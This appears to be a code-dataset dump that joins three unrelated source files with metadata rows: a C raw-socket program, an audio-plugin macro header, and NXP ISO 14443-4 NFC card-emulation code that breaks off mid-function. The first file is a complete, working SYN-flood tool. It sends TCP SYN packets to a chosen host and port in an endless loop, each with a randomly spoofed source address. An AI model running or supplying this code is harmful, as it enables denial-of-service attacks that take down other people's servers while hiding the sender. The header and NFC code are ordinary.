#include<errno.h> #include<string.h> #include<netdb.h> #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<netinet/ip.h> #include<netinet/tcp.h> void send_data(int sockfd, struct sockaddr_in *addr, char *port); unsigned short check_sum(unsigned short *addr, int len); // ./argv[0] des_hostname/ip des_port local_port int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on = 1; if (argc != 4) { fprintf(stderr, "Usage:%s des_hostname/ip des_port local_port\n", argv[0]); exit(EXIT_FAILURE); } memset(&addr, 0, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; if (inet_aton(argv[1], &addr.sin_addr) == 0) { host = gethostbyname(argv[1]); if (host == NULL) { fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno)); exit(EXIT_FAILURE); } addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]); } addr.sin_port = htons(atoi(argv[2])); sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sockfd < 0) { fprintf(stderr, "Socket Error:%s\n\a", strerror(errno)); exit(EXIT_FAILURE); } setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); send_data(sockfd, &addr, argv[3]); } void send_data(int sockfd, struct sockaddr_in *addr, char *port) { char buffer[100]; struct iphdr *ip; struct tcphdr *tcp; int head_len; head_len = sizeof(struct iphdr) + sizeof(struct tcphdr); bzero(buffer, 100); ip = (struct iphdr *)buffer; ip->version = IPVERSION; ip->ihl = sizeof(struct ip) >> 2; ip->tos = 0; ip->tot_len = htons(head_len); ip->id = 0; ip->frag_off = 0; ip->ttl = MAXTTL; ip->protocol = IPPROTO_TCP; ip->check = 0; ip->daddr = addr->sin_addr.s_addr; tcp = (struct tcphdr *)(buffer + sizeof(struct ip)); tcp->source = htons(atoi(port)); tcp->dest = addr->sin_port; tcp->seq = random(); tcp->ack_seq = 0; tcp->doff = 5; tcp->syn = 1; tcp->check = 0; while (1) { ip->saddr = random(); tcp->check = 0; tcp->check = check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd, buffer, head_len, 0, (struct sockaddr *)addr, (socklen_t)sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr, int len) { register int nleft = len; register int sum = 0; register short *w = addr; short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); }
26.296296
108
0.580986
6f55e815f05aaef87cc24be1b043ce7d95ce4cc9
3,982
h
C
Libraries/RobsJuceModules/rosic/legacy/Definitions.h
RobinSchmidt/RS-MET-Preliminary
6c01cbaad7cce3daa3293c444dd9e4b74e5ebfbe
[ "FTL" ]
34
2017-04-19T18:26:02.000Z
2022-02-15T17:47:26.000Z
Libraries/RobsJuceModules/rosic/legacy/Definitions.h
RobinSchmidt/RS-MET-Preliminary
6c01cbaad7cce3daa3293c444dd9e4b74e5ebfbe
[ "FTL" ]
307
2017-05-04T21:45:01.000Z
2022-02-03T00:59:01.000Z
Libraries/RobsJuceModules/rosic/legacy/Definitions.h
RobinSchmidt/RS-MET-Preliminary
6c01cbaad7cce3daa3293c444dd9e4b74e5ebfbe
[ "FTL" ]
4
2017-09-05T17:04:31.000Z
2021-12-15T21:24:28.000Z
#ifndef Definitions_h #define Definitions_h #include <intrin.h> #include <xmmintrin.h> #include <float.h> enum sampleFileStates { EXISTENT_AND_VALID = 1, EXISTENT_BUT_INVALID, NONEXISTENT, NOT_ENOUGH_MEMORY }; #define INLINE __forceinline namespace MoreMath { //#define INLINE inline //#define TINY 0.0000000001 #define TINY FLT_MIN /* #define _CRT_SECURE_NO_DEPRECATE // to prevent the compiler from complaining // about using non-secure functions like // strcpy */ //type definitions: typedef __declspec( align(8) ) double doubleA; // doubles, aligned at 64-bit // (8 byte) boundaries typedef __declspec( align(8) ) int intA; // integers, aligned at 64-bit // (8 byte) boundaries /* //floating point types: typedef float flt32; typedef double flt64; typedef long double flt80; typedef __declspec( align(8) ) double flt64A; //aligned at 64-bit (8 byte) boundaries typedef __declspec( align(4) ) double flt32A; //aligned at 32-bit (4 byte) boundaries typedef double sample; typedef __declspec( align(8) ) double sampleA; //aligned at 64-bit boundaries //unsigned integer types: typedef unsigned __int64 uint64; //typedef unsigned __int32 uint32; // clashes with the similar definition in JUCE -> use a namespace typedef unsigned __int16 uint16; typedef unsigned __int8 uint8; typedef __declspec( align(8) ) unsigned __int64 uint64A; //for aligned declarations typedef __declspec( align(4) ) unsigned __int32 uint32A; typedef __declspec( align(2) ) unsigned __int16 uint16A; typedef __declspec( align(1) ) unsigned __int8 uint8A; //signed integer types: typedef signed __int64 int64; typedef signed __int32 int32; typedef signed __int16 int16; typedef signed __int8 int8; typedef __declspec( align(8) ) signed __int64 int64A; typedef __declspec( align(4) ) signed __int32 int32A; typedef __declspec( align(2) ) signed __int16 int16A; typedef __declspec( align(1) ) signed __int8 int8A; //signed integer types: #define INT64 signed __int64 #define INT32 signed __int32 #define INT16 signed __int16 #define INT8 signed __int8 */ //some mathematical contants: #define PI 3.1415926535897932384626433832795 #define SQRT2 1.4142135623730950488016887242097 #define SQRT2_INV 0.70710678118654752440084436210485 //some useful macros for VST-Plug-In-Development: //calculates the logarithm to an arbitrary base: #define LOGB(x, B) (log((double)x)/log((double)B)) //calculates the logarithm to base 2: #define LOG2(x) (1.4426950408889634073599246810019 * log((double)x)) //conversion from a MIDI-Note Number to a frequency in Hz: #define PITCH2FREQ(pitch) (440*( pow(2, ((((double)pitch)-69)/12)))) //conversion from a frequency in Hz to a MIDI-Note Number: //#define FREQ2PITCH(freq) (12*(LOG2(((double)freq)/440))+69) //macro is not tested yet //conversion from a pitch offset value in semitones to a frequency scale factor: #define PITCHOFFSET2FREQFACTOR(pitchOffset) (pow(2, (((double)pitchOffset)/12))) //conversion from a frequency scale factor to a pitch offset in semitones: #define FREQFACTOR2PITCHOFFSET(freqFactor) (12*LOG2((double)freqFactor)) //conversion from an amplitude-value to a level value in dB (amplitude 1 corresponds to 0 dB): #define AMP2DB(amp) (20*log10((double)amp)) //conversion from a level value in dB to an amplitude-value: #define DB2AMP(dB) (pow(10, (((double)dB)/20))) //clip the signal at a specified threshold: #define CLIP(signal, thresh) {if(signal > thresh) signal=thresh; else if(signal < (-thresh)) signal=-thresh;} //extract the exponent from a IEEE 754 floating point number (single and double precision): #define EXPOFFLT(value) (((*((reinterpret_cast<unsigned __int32 *>(&value)))&0x7FFFFFFF)>>23)-127) #define EXPOFDBL(value) (((*((reinterpret_cast<unsigned __int64 *>(&value)))&0x7FFFFFFFFFFFFFFF)>>52)-1023) } // end namespace #endif // Definitions_h
32.373984
109
0.73104
1766fd804c80e0b710121b12e0ec4d4c5c8bb37e
34,552
c
C
raspberry/nfc_deamon/SW369321/NxpNfcRdLib/comps/phpalI14443p4mC/src/Sw/phpalI14443p4mC_Sw.c
ccruzp/drs-netatmo
87d178364dbc8c1e7259a9d7d202c9f1c86b6d2f
[ "MIT" ]
2
2019-11-08T12:45:38.000Z
2019-11-09T16:31:12.000Z
raspberry/nfc_deamon/SW369321/NxpNfcRdLib/comps/phpalI14443p4mC/src/Sw/phpalI14443p4mC_Sw.c
ccruzp/drs-netatmo
87d178364dbc8c1e7259a9d7d202c9f1c86b6d2f
[ "MIT" ]
null
null
null
raspberry/nfc_deamon/SW369321/NxpNfcRdLib/comps/phpalI14443p4mC/src/Sw/phpalI14443p4mC_Sw.c
ccruzp/drs-netatmo
87d178364dbc8c1e7259a9d7d202c9f1c86b6d2f
[ "MIT" ]
2
2019-11-07T21:56:59.000Z
2019-11-08T02:20:59.000Z
/* * Copyright (c), NXP Semiconductors Gratkorn / Austria * * (C)NXP Semiconductors * All rights are reserved. Reproduction in whole or in part is * prohibited without the written consent of the copyright owner. * NXP reserves the right to make changes without notice at any time. * NXP makes no warranty, expressed, implied or statutory, including but * not limited to any implied warranty of merchantability or fitness for any *particular purpose, or that the use will not infringe any third party patent, * copyright or trademark. NXP must not be liable for any loss or damage * arising from its use. */ /** \file * Software ISO 14443p4mC mode Component of Reader Library Framework. * $Author$ * $Revision$ (v05.22.00) * $Date$ * * History: * KK: Generated 25. March 2014 */ #include <ph_Status.h> #include <phhalHw.h> #include <phpalI14443p4mC.h> #include <ph_RefDefs.h> #include <phDriver.h> #ifdef NXPBUILD__PHPAL_I14443P4MC_SW #include "phpalI14443p4mC_Sw.h" #include "phpalI14443p4mC_Sw_Int.h" static const uint8_t bmcEventName[] = "mcEvent"; /* Frame size table */ static const uint16_t PH_MEMLOC_CONST_ROM aI14443p4mC_FsTable[PHPALI14443P4MC_FS_INDEX] = {14, 22, 30, 38, 46, 62, 94, 126, 254, 510, 1022, 2046, 4094}; phStatus_t phpalI14443p4mC_Sw_Init( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint16_t wSizeOfDataParams, void * pHalDataParams, pWtxTimerCallback pWtxCallback ) { phStatus_t wStatus = PH_ERR_SUCCESS; if (sizeof(phpalI14443p4mC_Sw_DataParams_t) != wSizeOfDataParams) { return (PH_ERR_INVALID_DATA_PARAMS | PH_COMP_PAL_I14443P4MC); } PH_ASSERT_NULL (pDataParams); PH_ASSERT_NULL (pHalDataParams); /* Initialize data parameters */ pDataParams->wId = PH_COMP_PAL_I14443P4MC | PHPAL_I14443P4MC_SW_ID; pDataParams->pHalDataParams = pHalDataParams; pDataParams->pWtxTimerCallback = pWtxCallback; pDataParams->bWtx = PHPAL_I14443P4MC_SW_MIN_WTX_VALUE; pDataParams->bDisableWtx = PH_OFF; /* Default operating mode is NFC */ pDataParams->bOpMode = RD_LIB_MODE_NFC; /* By default delta time to be subtracted from WTX timer time is set to 0 */ pDataParams->wWtDelta = 0; /* Default percentage of actual time to be used in WTX timer is set to 75% */ pDataParams->bWtPercentage = 75; /* Reset protocol to defaults */ (void)phpalI14443p4mC_Sw_ResetProtocol(pDataParams); /* check whether event is already created. */ pDataParams->mcEventObj.intialValue = 0; pDataParams->mcEventObj.pEvtName = (uint8_t *)bmcEventName; wStatus = phOsal_EventCreate(&pDataParams->mcEventObj.EventHandle, &pDataParams->mcEventObj); return wStatus; } phStatus_t phpalI14443p4mC_Sw_ResetProtocol( phpalI14443p4mC_Sw_DataParams_t * pDataParams ) { phStatus_t wStatus = PH_ERR_SUCCESS; pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_NONE; /* Default block number is 1. ISO14443-4 7.5.3.2. Rule C */ pDataParams->bBlockNr = 1; pDataParams->bFsdi = 0; /* Default FSCI value is 2 */ pDataParams->bFsci = PHPALI14443P4MC_FSCI_DEFAULT; pDataParams->bDr = PHPAL_I14443P4MC_106; pDataParams->bDs = PHPAL_I14443P4MC_106; pDataParams->bUnequalDrDs = 0; pDataParams->bFwi = PHPALI14443P4MC_FWI_DEFAULT; pDataParams->bSfgi = PHPALI14443P4MC_SFGI_DEFAULT; pDataParams->bCid = 0; pDataParams->bNad = 0; pDataParams->bChainingRx = 0; pDataParams->bChainingTx = 0; /* Default CID supported ISO14443-4 5.2.6 */ pDataParams->bCidEnable = PH_ON; /* Default NAD not supported ISO14443-4 5.2.6 */ pDataParams->bNadEnable = PH_OFF; pDataParams->bCidPresence = FALSE; pDataParams->bNadPresence = FALSE; /* Reset the position in case the PICC stopped abruptly due to RF OFF during chaining */ (void)phhalHw_SetConfig(pDataParams->pHalDataParams, PHHAL_HW_CONFIG_RXBUFFER_STARTPOS, 0); return wStatus; } phStatus_t phpalI14443p4mC_Sw_Activate( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint8_t * pRats, uint8_t bRatsLength, uint8_t * pAts, uint16_t wAtsLength ) { phStatus_t PH_MEMLOC_REM status = PH_ERR_INTERNAL_ERROR; uint8_t PH_MEMLOC_REM bIndex; /* Check for valid state */ if(pDataParams->bStateNow != PHPAL_I14443P4MC_STATE_NONE) { return (PH_ERR_USE_CONDITION | PH_COMP_PAL_I14443P4MC); } /* Validate RATS */ if((bRatsLength != PHPALI14443P4MC_RATS_LEN) || (pRats[0] != PHPALI14443P4MC_RATS_CMD)) { return (PH_ERR_PROTOCOL_ERROR | PH_COMP_PAL_I14443P4MC); } /* FSDI RFU value check and update FSDI */ if(pDataParams->bOpMode == RD_LIB_MODE_NFC) { if(((pRats[1] & 0xF0U) >> 0x04U) > 0x08U) { pDataParams->bFsdi = 0x08; } else { pDataParams->bFsdi = (uint8_t)((uint8_t)(pRats[1] & 0xF0U) >> 0x04U); } } else { if(((pRats[1] & 0xF0U) >> 0x04U) > 0x0CU) { pDataParams->bFsdi = 0x0C; } else { pDataParams->bFsdi = (uint8_t)((uint8_t)(pRats[1] & 0xF0U) >> 0x04U); } } /* Validate and update CID */ if((pRats[1] & 0x0FU) > 0x0EU) { /* Device shall be put to HALT or IDLE state (i.e. application shall * restart listen mode) */ return (PH_ERR_PROTOCOL_ERROR | PH_COMP_PAL_I14443P4MC); } else { pDataParams->bCid = (pRats[1] & 0x0FU); } /* Validation of ATS length */ if((!wAtsLength) || (wAtsLength != pAts[PHPALI14443P4MC_TL_IDX])) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Validate ATS length */ if(wAtsLength > aI14443p4mC_FsTable[pDataParams->bFsdi]) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } if(pDataParams->bOpMode == RD_LIB_MODE_NFC) { if((wAtsLength < PHPALI14443P4MC_NFC_MIN_ATS_LEN) || (wAtsLength > PHPALI14443P4MC_NFC_MAX_ATS_LEN)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } } /* Update the length of ATS validated till now */ bIndex = 1; /* Check and validate (T0), TA(1), TB(1) and TC(1) */ if(wAtsLength > 1U) { /* Increment length/index */ bIndex++; /* Check if RFU bit of T0 is set */ if(0U != (pAts[1] & 0x80U)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* FSCI RFU value check and update FSCI */ if(pDataParams->bOpMode == RD_LIB_MODE_NFC) { /* Check for FSC maximum */ if((pAts[1] & 0x0FU) > PHPALI14443P4MC_FSC_MAX_NFC_FORUM) { pDataParams->bFsci = PHPALI14443P4MC_FSC_MAX_NFC_FORUM; } else { pDataParams->bFsci = (pAts[1] & 0x0FU); /* Check if FSC (FSCT4AT,MIN) criteria is met and assign FSCT4AT,MIN if not. */ if (pDataParams->bFsci < PHPALI14443P4MC_FSC_MIN_NFC_FORUM) { pDataParams->bFsci = PHPALI14443P4MC_FSC_MIN_NFC_FORUM; } } } else { if((pAts[1] & 0x0FU) > 0x0CU) { pDataParams->bFsci = 0x0C; } else { pDataParams->bFsci = (pAts[1] & 0x0FU); } } /* Check TA(1) */ if(0U != (pAts[PHPALI14443P4MC_T0_IDX] & 0x10U)) { /* Increment length/index */ bIndex++; /* Validate length */ if(wAtsLength < bIndex) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Check if RFU bit is set */ if(0U != (pAts[bIndex - 1] & 0x08U)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* For NFC mode, DR and DS shall be zero */ if((pDataParams->bOpMode == RD_LIB_MODE_NFC) && ((pAts[bIndex - 1]) & 0x77U)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Update DR and DS */ pDataParams->bDr = pAts[bIndex - 1] & 0x07U; pDataParams->bDs = (pAts[bIndex - 1] & 0x70U) >> 4U; /* Check if DR and DS are same */ if(pDataParams->bDr != pDataParams->bDs) { pDataParams->bUnequalDrDs = 1; } else { pDataParams->bUnequalDrDs = 0; } } /* Check TB(1) */ if(0U != (pAts[PHPALI14443P4MC_T0_IDX] & 0x20U)) { /* Increment length/index */ bIndex++; /* Validate length */ if(wAtsLength < bIndex) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Validate SFGI and FWI */ if(pDataParams->bOpMode == RD_LIB_MODE_NFC) { /* For NFC, maximum SFGI shall be 8 */ if(((pAts[bIndex - 1] & 0x0FU) > 0x08U) || (((pAts[bIndex - 1] & 0xF0U) >> 0x04U) > 0x08U)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } } else { /* SFGI shall be from 0 - 14 */ if(((pAts[bIndex - 1] & 0x0FU) > 0x0EU) || (((pAts[bIndex - 1] & 0xF0U) >> 0x04U) > 0x0EU)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } } /* Update SFGI and FWI */ pDataParams->bSfgi = (uint8_t)((uint8_t)pAts[bIndex - 1] & 0x0FU); pDataParams->bFwi = (uint8_t)(((uint8_t)(pAts[bIndex - 1] & 0xF0U)) >> 0x04U); } /* Check TC(1) */ if(0U != (pAts[PHPALI14443P4MC_T0_IDX] & 0x40U)) { /* Increment length/index */ bIndex++; /* Validate length */ if(wAtsLength < bIndex) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Check RFU bits */ if(0U != (pAts[bIndex - 1] & 0xFCU)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Check CID/DID support */ if(0U != (pAts[bIndex - 1] & 0x02U)) { pDataParams->bCidEnable = 1; } else { pDataParams->bCidEnable = 0; } /* Check NAD support */ if(0U != (pAts[bIndex - 1] & 0x01U)) { if(pDataParams->bOpMode == RD_LIB_MODE_NFC) { /* NAD is not supported by NFC */ return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->bNadEnable = 1; } else { pDataParams->bNadEnable = 0; } } } /* Maximum supported historical bytes length is 15 for NFC */ if((pDataParams->bOpMode == RD_LIB_MODE_NFC) && (wAtsLength - bIndex) > 15U) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Send ATS */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_BUFFER_LAST, pAts, wAtsLength)); /* Set internal state */ pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_ATS; return PH_ERR_SUCCESS; } phStatus_t phpalI14443p4mC_Sw_Receive( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint16_t wOption, uint8_t ** ppRxBuffer, uint16_t * pRxLength ) { phStatus_t PH_MEMLOC_REM status; uint8_t PH_MEMLOC_REM bRxLoop = FALSE; /* Used for Reception */ uint16_t PH_MEMLOC_REM wPayloadLength = 0; uint8_t * PH_MEMLOC_REM pPayloadResponse = NULL; uint16_t PH_MEMLOC_REM wHeaderLength = 0; /* Validate receive option */ if((wOption & (uint16_t)~(uint16_t)(PH_RECEIVE_DEFAULT | PH_RECEIVE_CHAINING | PH_RECEIVE_CHAINING_BUFSIZE))) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* If in chaining, sent ACK first */ if(wOption == PH_RECEIVE_CHAINING) { PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_Ack(pDataParams)); } else { /* Reset CID and NAD presence for current block to be received */ pDataParams->bCidPresence = FALSE; pDataParams->bNadPresence = FALSE; } /* Loop to receive and validate block */ do { /* Set receive loop condition */ bRxLoop = TRUE; /* Be in receive mode, till successful receive */ do { /* Start the first receive action */ status = phhalHw_Receive( pDataParams->pHalDataParams, PH_RECEIVE_DEFAULT, ppRxBuffer, pRxLength); /* Validate received frame and update state */ if((status & PH_ERR_MASK) == PH_ERR_SUCCESS) { status = phpalI14443p4mC_Sw_Int_ValidateFrame( pDataParams, *ppRxBuffer, *pRxLength, &pPayloadResponse, &wPayloadLength); } /* After first receive change state from ATS to Receive to disable * further PPS requests */ if(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_ATS) { pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_RX; } /* Exit on external RF off or buffer overflow */ if(((status & PH_ERR_MASK) == PH_ERR_EXT_RF_ERROR) || ((status & PH_ERR_MASK) == PH_ERR_BUFFER_OVERFLOW)) { /* Reset the position in case the PICC stopped abruptly due to RF OFF during chaining */ (void)phhalHw_SetConfig(pDataParams->pHalDataParams, PHHAL_HW_CONFIG_RXBUFFER_STARTPOS, 0); /* Application may reset HW and data parameters of all layers * and may restart listen on RF off error */ return status; } }while((status & PH_ERR_MASK) != PH_ERR_SUCCESS); /* Check what action to take based on state */ switch(pDataParams->bStateNow) { case PHPAL_I14443P4MC_STATE_PPS: /* Validate PPS request and send PPS response */ PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_PpsRes( pDataParams, *ppRxBuffer, (uint8_t)*pRxLength)); break; case PHPAL_I14443P4MC_STATE_RXCHAINING: /* Calculate header length */ wHeaderLength = *pRxLength - wPayloadLength; /* Receive all the chained blocks */ status = phpalI14443p4mC_Sw_Int_HandleRxChaining( pDataParams, wOption, ppRxBuffer, pRxLength); /* Return error, if chaining is not success */ if(((status & PH_ERR_MASK) != PH_ERR_SUCCESS_CHAINING) && ((status & PH_ERR_MASK) != PH_ERR_SUCCESS)) { /* Reset the position in case the PICC stopped abruptly due to RF OFF during chaining */ (void)phhalHw_SetConfig(pDataParams->pHalDataParams, PHHAL_HW_CONFIG_RXBUFFER_STARTPOS, 0); return status; } /* Update pay-load length */ wPayloadLength = *pRxLength - wHeaderLength; /* Exit loop */ bRxLoop = FALSE; break; case PHPAL_I14443P4MC_STATE_RESEND: /* Use the length of last block send as Tx buffer length. * Re-send last I block */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_PREV_FRAME, NULL, pDataParams->wLastTxLen)); break; case PHPAL_I14443P4MC_STATE_TX_R: /* Send ACK and continue with receive */ PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_Ack(pDataParams)); break; case PHPAL_I14443P4MC_STATE_DESELECT: /* Send S-Block DESELECT and exit */ PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_DslRes(pDataParams)); /* Exit loop */ bRxLoop = FALSE; break; case PHPAL_I14443P4MC_STATE_TX_I: /* Exit loop */ bRxLoop = FALSE; break; default: /* Exit loop */ bRxLoop = FALSE; break; } } while(bRxLoop == TRUE); /* Return DESELECTED if state is NONE. State will be NONE after DESELECT */ if(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_NONE) { return (PH_ERR_SUCCESS_DESELECTED | PH_COMP_PAL_I14443P4MC); } /* Start WTX timer, if I-Block */ if(((pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_TX_I) || (pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_RXCHAINING)) && (!pDataParams->bDisableWtx)) { PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_StartWtxTimer(pDataParams)); } /* Update pay-load, if reception is success */ *ppRxBuffer = pPayloadResponse; *pRxLength = wPayloadLength; /* Return success chaining, if returning in between chaining */ if(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_RXCHAINING) { return (PH_ERR_SUCCESS_CHAINING | PH_COMP_PAL_I14443P4MC); } return PH_ERR_SUCCESS; } phStatus_t phpalI14443p4mC_Sw_Transmit( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint16_t wOption, uint8_t * pTxBuffer, uint16_t wTxLength ) { phStatus_t PH_MEMLOC_REM status; /* Used for exchange */ uint16_t PH_MEMLOC_REM wTxSent = 0; uint8_t PH_MEMLOC_REM bForceSend; uint8_t PH_MEMLOC_REM aSoD[3] = {0}; uint16_t PH_MEMLOC_REM wSoDLen = 1; uint16_t PH_MEMLOC_REM wTxCopyBytes; uint16_t PH_MEMLOC_REM wTxFrameBytes; uint16_t PH_MEMLOC_REM wTxBuffBytes; uint8_t PH_MEMLOC_REM bTransmit = 0; uint16_t PH_MEMLOC_REM wTxBufferSize; uint16_t PH_MEMLOC_REM wPrologueField; uint8_t PH_MEMLOC_REM bNadInclude; uint8_t PH_MEMLOC_REM bBytePos; /* Used for exchange */ uint8_t * PH_MEMLOC_REM pRxBuffer = NULL; uint16_t PH_MEMLOC_REM wRxLength = 0; /* Validate transmit option */ if (wOption & (uint16_t)~(uint16_t)(PH_TRANSMIT_BUFFERED_BIT | PH_TRANSMIT_LEAVE_BUFFER_BIT | PH_TRANSMIT_TXCHAINING)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } /* Retrieve HAL TX buffer size */ PH_CHECK_SUCCESS_FCT(status, phhalHw_GetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_BUFSIZE, &wTxBufferSize)); /* ******************************** */ /* TRANSMISSION LOOP */ /* ******************************** */ do { /* Stop WTX Timer */ if(0U == (pDataParams->bDisableWtx)) { PH_CHECK_SUCCESS_FCT(status, phDriver_TimerStop()); } if (0U != (wOption & PH_EXCHANGE_LEAVE_BUFFER_BIT)) { /* See if there is anything cached already in the buffer */ PH_CHECK_SUCCESS_FCT(status, phhalHw_GetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_LENGTH, &wTxBuffBytes)); } else { wTxBuffBytes = 0; } /* If zero, we have new frame */ if (wTxBuffBytes == 0U) { /* In case of chaining, NAD shall be present only in first block */ bNadInclude = (uint8_t)((wTxSent == 0U)? PH_ON : PH_OFF); /* Get header length */ PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Int_GetPduHeaderLength( pDataParams, bNadInclude, (uint8_t *)&wSoDLen)); /* Put the new SoD into TX buffer */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_BUFFER_FIRST, aSoD, wSoDLen)); } /* Find the biggest possible frame size before chaining is needed. */ wTxFrameBytes = (wTxBufferSize < (aI14443p4mC_FsTable[pDataParams->bFsdi] - wSoDLen)) ? wTxBufferSize : (aI14443p4mC_FsTable[pDataParams->bFsdi] - wSoDLen); /* Calculate how much space we have left */ wTxFrameBytes = wTxFrameBytes - wTxBuffBytes; /* Check if must force send and/or chaining */ bForceSend = 0; if(0 > (wTxFrameBytes - (wTxLength - wTxSent))) { wTxCopyBytes = wTxFrameBytes; bForceSend = 1; pDataParams->bChainingTx = 1; pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_TXCHAINING; } else { wTxCopyBytes = (wTxLength - wTxSent); bTransmit = 0; if(0U != (wOption & PH_TRANSMIT_TXCHAINING)) { bForceSend = 1; pDataParams->bChainingTx = 1; pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_TXCHAINING; } else { pDataParams->bChainingTx = 0; pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_TX_I; } } /* Buffer if requested and not filling up the max frame */ if ((!bForceSend) && (0U != ((wOption & PH_EXCHANGE_BUFFERED_BIT)))) { return phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_BUFFER_CONT, &pTxBuffer[wTxSent], wTxCopyBytes); } /* Build I block SoD */ aSoD[0] = PHPALI14443P4MC_BLOCK_I | pDataParams->bBlockNr; /* Are we chaining */ if (0U != (pDataParams->bChainingTx)) { aSoD[0] = aSoD[0] | PHPALI14443P4MC_BLOCK_IS_CHAIN; } /* Add CID */ if(0U != (pDataParams->bCidPresence)) { /* Set CID following bit in PCB */ aSoD[0] = aSoD[0] | PHPAL_I14443P4MC_SW_PCB_CID_FOLLOWING; /* Set CID byte */ aSoD[1] = pDataParams->bCid; /* Put CID to correct place */ PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_OFFSET, 0x01)); PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER, (uint16_t)aSoD[1])); } /* Add NAD (if chaining, add only for first block of chaining) */ if((pDataParams->bNadPresence) && (wTxSent == 0U)) { /* Set NAD following bit in PCB */ aSoD[0] = aSoD[0] | PHPAL_I14443P4MC_SW_PCB_NAD_FOLLOWING; /* Get NAD position in header */ bBytePos = (pDataParams->bCidPresence == TRUE)? 2: 1; /* Set NAD byte */ aSoD[bBytePos] = pDataParams->bNad; /* Put NAD to correct place */ PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_OFFSET, bBytePos)); PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER, (uint16_t)aSoD[bBytePos])); } /* Put PCB to correct place */ PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_OFFSET, 0x00)); /* Set PCB value in TX buffer */ PH_CHECK_SUCCESS_FCT(status, phhalHw_SetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER, (uint16_t)aSoD[0])); /* Perform the exchange, in case of chaining */ if (0U != (pDataParams->bChainingTx)) { /* Get header length */ PH_CHECK_SUCCESS_FCT(status, phhalHw_GetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_LENGTH, &wPrologueField)); /* Backup total TX length (needed in case of error, to re-send) */ pDataParams->wLastTxLen = wTxCopyBytes + wPrologueField; /* Transmit data */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_BUFFER_LAST, &pTxBuffer[wTxSent], wTxCopyBytes)); /* Loop to re-send in case of error */ do { /* Be in receive mode till we receive valid data */ do { status = 